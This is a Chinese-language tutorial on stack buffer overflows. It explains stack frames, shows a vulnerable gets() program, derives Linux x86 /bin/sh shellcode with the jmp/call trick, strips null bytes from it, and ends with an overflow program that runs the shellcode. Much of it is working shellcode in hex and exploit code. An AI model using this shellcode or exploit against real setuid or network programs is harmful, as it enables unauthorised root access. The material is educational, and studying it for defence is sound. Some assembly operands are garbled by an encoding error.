堆栈溢出系列讲座
序言： 通过堆栈溢出来获得root权限是目前使用的相当普遍的一项黑客技术。事实上这是一个黑客在系统本地已经拥有了一个基本账号后的首选攻击方式。 他也被广泛应用于远程攻击。通过对daemon进程的堆栈溢出来实现远程获得rootshell的技术，已经被很多实例实现。 在windows系统中，同样存在着堆栈溢出的问题。而且，随着internet的普及， win系列平台上的internet服务程序越来越多，低水平的win程序就成为你系统上的致命伤 。因为它们同样会被远程堆栈溢出，而且，由于win系统使用者和管理者普遍缺乏安全防范的意识，一台win系统上的堆栈溢出，如果被恶意利用，将导致整个机器被敌人所控制。进而，可能导致整个局域网落入敌人之手。 本系列讲座将系统的介绍堆栈溢出的机制，原理，应用，以及防范的措施。希望通过我的讲座，大家可以了解和掌握这项技术。而且，会自己去寻找堆栈溢出漏洞，以提高系统安全。 堆栈溢出系列讲座 入门篇 本讲的预备知识： 首先你应该了解intel汇编语言，熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面的基础知识，有关这方面的计算机书籍很多，我将只是简单阐述原理，着重在应用。其次，你应该了解linux，本讲中我们的例子将在linux上开发。
1：首先复习一下基础知识。 从物理上讲，堆栈是就是一段连续分配的内存空间。在一个程序中，会声明各种变量。静态全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配在堆栈里面。 从操作上来讲，堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我们规定内存的生长方向为向上，则栈的生长方向为向下。压栈的操作push＝ESP－4，出栈的操作是pop=ESP+4.换句话说，堆栈中老的值，其内存地址，反而比新的值要大。 请牢牢记住这一点，因为这是堆栈溢出的基本理论依据。 在一次函数调用中，堆栈中将被依次压入：参数，返回地址，EBP。如果函数有局部变量，接下来，就在堆栈中开辟相应的空间以构造变量。函数执行结束，这些局部变量的内容将被丢失。但是不被清除。在函数返回的时候，弹出EBP，恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。 在C语言程序中，参数的压栈顺序是反向的。比如func（a,b,c)。在参数入栈的时候，是：先压c，再压b,最后a.在取参数的时候，由于栈的先入后出，先取栈顶的a，再取b,最后取c。 （PS:如果你看不懂上面这段概述，请你去看以看关于堆栈的书籍，一般的汇编语言书籍都会详细的讨论堆栈，必须弄懂它，你才能进行下面的学习）
2:好了，继续,让我们来看一看什么是堆栈溢出。
2.1：运行时的堆栈分配 堆栈溢出就是不顾堆栈中分配的局部数据块大小，向该数据块写入了过多的数据，导致数据越界。结果覆盖了老的堆栈数据。 比如有下面一段程序： 程序一： #include int main ( ) { char name[8]; printf("Please type your name: "); gets(name); printf("Hello, %s!", name); return 0; } 编译并且执行，我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中，堆栈是怎么操作的呢？ 在main函数开始运行的时候，堆栈里面将被依次放入返回地址，EBP。 我们用gcc -S 来获得汇编语言输出，可以看到main函数的开头部分对应如下语句： pushl %ebp movl %esp,%ebp subl Ű,%esp 首先他把EBP保存下来，，然后EBP等于现在的ESP，这样EBP就可以用来访问本函数的局部变量。之后ESP减8，就是堆栈向上增长8个字节，用来存放name[]数组。现在堆栈的布局如下： 内存底部 内存顶部 name EBP ret <------ [ ][ ][ ] ^&name 栈顶部 堆栈底部 执行完gets(name)之后，堆栈如下： 内存底部 内存顶部 name EBP ret <------ [ipxodi\0 ][ ][ ] ^&name 栈顶部 堆栈底部 最后，main返回，弹出ret里的地址，赋值给EIP，CPU继续执行EIP所指向的指令。
2.2：堆栈溢出 好，看起来一切顺利。我们再执行一次，输入ipxodiAAAAAAAAAAAAAAA,执行完gets（name）之后，堆栈如下： 内存底部 内存顶部 name EBP ret <------ [ipxodiAA][AAAA][AAAA]....... ^&name 栈顶部 堆栈底部 由于我们输入的name字符串太长，name数组容纳不下，只好向内存顶部继续写‘A’。由于堆栈的生长方向与内存的生长方向相反，这些‘A’覆盖了堆栈的老的元素。 如图 我们可以发现，EBP，ret都已经被‘A’覆盖了。在main返回的时候，就会把‘AAAA’的ASCII码：0x41414141作为返回地址，CPU会试图执行0x41414141处的指令，结果出现错误。这就是一次堆栈溢出。
3：如何利用堆栈溢出 我们已经制造了一次堆栈溢出。其原理可以概括为：由于字符串处理函数（gets，strcpy等等）没有对数组越界加以监视和限制，我们利用字符数组写越界，覆盖堆栈中的老元素的值，就可以修改返回地址。 在上面的例子中，这导致CPU去访问一个不存在的指令，结果出错。 事实上，当堆栈溢出的时候，我们已经完全的控制了这个程序下一步的动作。如果我们用一个实际存在指令地址来覆盖这个返回地址，CPU就会转而执行我们的指令。 在UINX系统中，我们的指令可以执行一个shell，这个shell将获得和被我们堆栈溢出的程序相同的权限。如果这个程序是setuid的，那么我们就可以获得root shell。
如何书写一个shell code
一：shellcode基本算法分析 在程序中，执行一个shell的程序是这样写的： shellcode.c
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#include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL;
execve(name[0], name, NULL); }
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execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的argv[i]（argv[n-1]=0)的指针数组作为第二个参数，以及(char*) 0作为第三个参数。
我们来看以看execve的汇编代码： [nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode (gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp ;上面是函数头。
0x80002bf <__execve+3>: pushl %ebx ;保存ebx
0x80002c0 <__execve+4>: movl Ũxb,%eax ;eax=0xb，eax指明第几号系统调用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx ;ebp+8是第一个参数"/bin/sh\0"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx ;ebp+12是第二个参数name数组的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx ;ebp+16是第三个参数空指针的地址。
;name[2-1]内容为NULL，用来存放返回值。 0x80002ce <__execve+18>: int Ũx80
;执行0xb号系统调用(execve) 0x80002d0 <__execve+20>: movl %eax,%edx
;下面是返回值的处理就没有用了。 0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl Ũxffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop End of assembler dump.
经过以上的分析，可以得到如下的精简指令算法： movl $execve的系统调用号,%eax movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx movl name[n-1]的地址,%edx int Ũx80 ;执行系统调用(execve)
当execve执行成功后，程序shellcode就会退出，/bin/sh将作为子进程继续执行。可是，如果我们的execve执行失败，（比如没有/bin/sh这个文件），CPU就会继续执行后续的指令，结果不知道跑到哪里去了。所以必须再执行一个exit（）系统调用，结束shellcode.c的执行。
我们来看以看exit(0)的汇编代码： (gdb) disassemble _exit
Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl Ũx1,%eax ;1号系统调用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0
0x8000358 <_exit+12>: int Ũx80 ;引发系统调用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop End of assembler dump. 看来exit(0)〕的汇编代码更加简单：
movl Ũx1,%eax ;1号系统调用 movl 0,%ebx ;ebx为exit的参数0 int Ũx80 ;引发系统调用
那么总结一下，合成的汇编代码为： movl $execve的系统调用号,%eax movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx movl name[n-1]的地址,%edx int Ũx80 ;执行系统调用(execve)
movl Ũx1,%eax ;1号系统调用 movl 0,%ebx ;ebx为exit的参数0 int Ũx80 ;执行系统调用(exit)
二：实现一个shellcode
好，我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name数组。我们可以构造它们出来，可是，在shellcode中如何知道它们的地址呢？每一次程序都是动态加载，字符串和name数组的地址都不是固定的。
通过JMP和call的结合，黑客们巧妙的解决了这个问题。
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jmp call的偏移地址 # 2 bytes popl %esi # 1 byte //popl出来的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组，
//name[0]放 string的地址
movb Ũx0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结 尾。
movl Ũx0,null-offset(%esi) # 7 bytes //name[1]放0。
movl Ũxb,%eax # 5 bytes //eax=0xb是execve的syscall代码 。
movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int Ũx80 # 2 bytes //int 0x80是sys call
movl Ũx1, %eax # 5 bytes //eax=0x1是exit的syscall代码
movl Ũx0, %ebx # 5 bytes //ebx=0是exit的返回值
int Ũx80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会 作 //为返回地址压栈。 /bin/sh 字符串
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首先使用JMP相对地址来跳转到call,执行完call指令，字符串/bin/sh的地址将作为call的返回地址压入堆栈。现在来到popl esi，把刚刚压入栈中的字符串地址取出来，就获得了字符串的真实地址。然后，在字符串的第8个字节赋0，作为串的结尾。后面8个字节，构造name数组（两个整数，八个字节）。
我们可以写shellcode了。先写出汇编源程序。 shellcodeasm.c
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void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes movb Ũx0,0x7(%esi) # 4 bytes
movl Ũx0,0xc(%esi) # 7 bytes movl Ũxb,%eax # 5 bytes movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int Ũx80 # 2 bytes
movl Ũx1, %eax # 5 bytes movl Ũx0, %ebx # 5 bytes int Ũx80 # 2 bytes
call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); }
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编译后，用gdb的b/bx 〔地址〕命令可以得到十六进制的表示。 下面，写出测试程序如下：（注意，这个test程序是测试shellcode的基本程序）
test.c ------------------------------------------------------------------------
------ char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret;
ret = (int *)&ret + 2; //ret 等于main（）的返回地址 //(＋2是因为：有pushl ebp ,否则加1就可以了。）
(*ret) = (int)shellcode; //修改main（）的返回地址为shellcode的开始地 址。 }
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[nkl10]$ gcc -o test test.c [nkl10]$ ./test $ exit [nkl10]$
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我们通过一个shellcode数组来存放shellcode，当我们把程序（test.c）的返回地址ret设置成shellcode数组的开始地址时，程序在返回的时候就会去执行我们的shellcode，从而我们得到了一个shell。
运行结果，得到了bsh的提示符$,表明成功的开了一个shell。
这里有必要解释的是，我们把shellcode作为一个全局变量开在了数据段而不是作为一段代码。是因为在操作系统中，程序代码段的内容是具有只读属性的。不能修改。而我们的代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分，所以不能放在代码段。
这个shellcode可以了吗？很遗憾，还差了一点。大家回想一下，在堆栈溢出中，关键在于字符串数组的写越界。但是，gets，strcpy等字符串函数在处理字符串的时候，以"\0"
为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。因此，
对于gets（name）来说，上面的shellcode是不可行的。我们的shellcode是不能有\0字符 出现的。 因此，有些指令需要修改一下：
旧的指令 新的指令 --------------------------------------------------------
movb Ũx0,0x7(%esi) xorl %eax,%eax molv Ũx0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi) --------------------------------------------------------
movl Ũxb,%eax movb Ũxb,%al
--------------------------------------------------------
movl Ũx1, %eax xorl %ebx,%ebx movl Ũx0, %ebx movl %ebx,%eax inc %eax
-------------------------------------------------------- 最后的shellcode为：
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char shellcode[]= 00 "\xeb\x1f" /* jmp 0x1f */ 02 "\x5e" /* popl %esi */
03 "\x89\x76\x08" /* movl %esi,0x8(%esi) */ 06 "\x31\xc0" /* xorl %eax,%eax */
08 "\x88\x46\x07" /* movb %eax,0x7(%esi) */
0b "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ 0e "\xb0\x0b" /* movb Ũxb,%al */
10 "\x89\xf3" /* movl %esi,%ebx */ 12 "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
15 "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ 18 "\xcd\x80" /* int Ũx80 */
1a "\x31\xdb" /* xorl %ebx,%ebx */ 1c "\x89\xd8" /* movl %ebx,%eax */
1e "\x40" /* inc %eax */ 1f "\xcd\x80" /* int Ũx80 */
21 "\xe8\xdc\xff\xff\xff" /* call -0x24 */
26 "/bin/sh"; /* .string \"/bin/sh\" */
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三：利用堆栈溢出获得shell 好了，现在我们已经制造了一次堆栈溢出，写好了一个shellcode。准备工作都已经作完，
我们把二者结合起来，就写出一个利用堆栈溢出获得shell的程序。 overflow1.c
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char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() {
char buffer[96]; int i; long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i];
strcpy(buffer,large_string); }
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在执行完strcpy后，堆栈内容如下所示： 内存底部 内存顶部 buffer EBP ret
<------ [SSS...SSSA ][A ][A ]A..A ^&buffer 栈顶部 堆栈底部 注：S表示shellcode。
A表示shellcode的地址。 这样，在执行完strcpy后，overflow。c将从ret取出A作为返回地址，从而执行了我们的shellcode。